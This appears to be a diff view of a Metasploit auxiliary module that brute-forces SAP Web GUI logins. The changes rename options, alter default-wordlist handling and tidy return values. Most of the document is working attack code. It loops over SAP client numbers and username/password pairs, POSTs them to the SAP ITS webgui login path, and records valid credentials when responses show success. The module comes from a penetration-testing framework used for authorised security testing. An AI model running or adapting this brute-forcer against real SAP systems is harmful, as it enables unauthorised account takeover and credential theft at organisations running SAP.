6
6
##
7
7
8
8
##
9
- # This module is based on, inspired by, or is a port of a plugin available in
10
- # the Onapsis Bizploit Opensource ERP Penetration Testing framework -
9
+ # This module is based on, inspired by, or is a port of a plugin available in
10
+ # the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11
11
# http://www.onapsis.com/research-free-solutions.php.
12
- # Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts
12
+ # Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13
13
# in producing the Metasploit modules and was happy to share his knowledge and
14
- # experience - a very cool guy. I'd also like to thank Chris John Riley,
15
- # Ian de Villiers and Joris van de Vis who have Beta tested the modules and
14
+ # experience - a very cool guy. I'd also like to thank Chris John Riley,
15
+ # Ian de Villiers and Joris van de Vis who have Beta tested the modules and
16
16
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
17
17
##
18
18
@@ -24,29 +24,28 @@ class Metasploit4 < Msf::Auxiliary
24
24
include Msf ::Auxiliary ::Report
25
25
include Msf ::Auxiliary ::Scanner
26
26
include Msf ::Auxiliary ::AuthBrute
27
-
27
+
28
28
def initialize
29
29
super (
30
30
'Name' => 'SAP Web GUI Brute Force' ,
31
- 'Version' => '$Revision$' ,
32
31
'Description' => %q{
33
32
SAP Web GUI Brute Force.
34
33
} ,
35
- 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com' ] ] ,
34
+ 'References' => [ [ 'URL' , 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/ ' ] ] ,
36
35
'Author' => [ 'nmonkee' ] ,
37
36
'License' => BSD_LICENSE
38
37
)
39
38
register_options ( [
40
- OptString . new ( 'URI' , [ true , 'URI' , "/" ] ) ,
41
- OptString . new ( 'CLIENT' , [ false , 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)' , '000,001,066' ] ) ,
42
- OptBool . new ( 'DEFAULT_CRED' , [ false , 'Check using the default password and username' , true ] ) ,
43
- OptString . new ( 'USERPASS_FILE' , [ false , '' , nil ] ) ,
39
+ OptString . new ( 'TARGETURI' , [ true , 'URI' , '/' ] ) ,
40
+ OptString . new ( 'CLIENT' , [ false , 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)' , '000,001,066' ] ) ,
41
+ OptBool . new ( 'DEFAULT_CRED' , [ false , 'Check using the default password and username' , true ] ) ,
42
+ OptString . new ( 'USERPASS_FILE' , [ false , '' , nil ] )
44
43
] , self . class )
45
44
register_autofilter_ports ( [ 80 ] )
46
45
end
47
-
46
+
48
47
def run_host ( ip )
49
- uri = datastore [ 'URI ' ]
48
+ uri = datastore [ 'TARGETURI ' ]
50
49
if datastore [ 'CLIENT' ] . nil?
51
50
print_status ( "Using default SAP client list" )
52
51
client = [ '000' , '001' , '066' ]
@@ -62,20 +61,17 @@ def run_host(ip)
62
61
elsif datastore [ 'CLIENT' ] =~ /^\d {3}\z /
63
62
client . push ( datastore [ 'CLIENT' ] )
64
63
print_status ( "Brute forcing client #{ datastore [ 'CLIENT' ] } " )
65
- else
64
+ else
66
65
print_status ( "Invalid CLIENT - using default SAP client list instead" )
67
66
client = [ '000' , '001' , '066' ]
68
67
end
69
68
end
70
69
saptbl = Msf ::Ui ::Console ::Table . new ( Msf ::Ui ::Console ::Table ::Style ::Default ,
71
- 'Header' => "[SAP] Credentials" ,
72
- 'Prefix' => "\n " ,
73
- 'Postfix' => "\n " ,
74
- 'Indent' => 1 ,
75
- 'Columns' => [ "host" , "port" , "client" , "user" , "pass" ] )
76
- if datastore [ 'DEFAULT_CRED' ]
77
- datastore [ 'USERPASS_FILE' ] = Msf ::Config . data_directory + '/wordlists/sap_default.txt'
78
- end
70
+ 'Header' => "[SAP] Credentials" ,
71
+ 'Prefix' => "\n " ,
72
+ 'Postfix' => "\n " ,
73
+ 'Indent' => 1 ,
74
+ 'Columns' => [ "host" , "port" , "client" , "user" , "pass" ] )
79
75
if datastore [ 'USERPASS_FILE' ]
80
76
credentials = extract_word_pair ( datastore [ 'USERPASS_FILE' ] )
81
77
credentials . each do |u , p |
@@ -87,15 +83,15 @@ def run_host(ip)
87
83
end
88
84
end
89
85
else
90
- #todo
86
+ datastore [ 'USERPASS_FILE' ] = Msf :: Config . data_directory + '/wordlists/sap_default.txt'
91
87
end
92
88
print ( saptbl . to_s )
93
89
end
94
-
90
+
95
91
def bruteforce ( uri , user , pass , cli )
96
92
begin
97
93
path = "sap/bc/gui/sap/its/webgui/"
98
- cookie = "Active=true; sap-usercontext=sap-language=EN&sap-client=#{ cli } "
94
+ cookie = "Active=true; sap-usercontext=sap-language=EN&sap-client=#{ cli } "
99
95
res = send_request_cgi ( {
100
96
'uri' => "#{ uri } #{ path } " ,
101
97
'method' => 'POST' ,
@@ -110,19 +106,17 @@ def bruteforce(uri,user,pass,cli)
110
106
'sap-client' => cli ,
111
107
'sap-user' => user ,
112
108
'sap-password' => pass ,
113
- 'sap-language' => 'EN' ,
109
+ 'sap-language' => 'EN'
114
110
}
115
111
} )
116
112
rescue ::Rex ::ConnectionError , Errno ::ECONNREFUSED , Errno ::ETIMEDOUT
117
113
print_error ( "[SAP] #{ ip } :#{ rport } - Service failed to respond" )
118
- return
114
+ return false
119
115
end
120
-
116
+
121
117
if res and res . code == 302
122
118
return true
123
- end
124
-
125
- if res and res . code == 200
119
+ elsif res and res . code == 200
126
120
if res . body =~ /log on again/
127
121
return false
128
122
elsif res . body =~ /<title>Change Password - SAP Web Application Server<\/ title>/
@@ -133,7 +127,7 @@ def bruteforce(uri,user,pass,cli)
133
127
end
134
128
else
135
129
print_error ( "[SAP] #{ ip } :#{ rport } - error trying #{ user } /#{ pass } against client #{ cli } " )
130
+ return false
136
131
end
137
- return
138
132
end
139
133
end
0 commit comments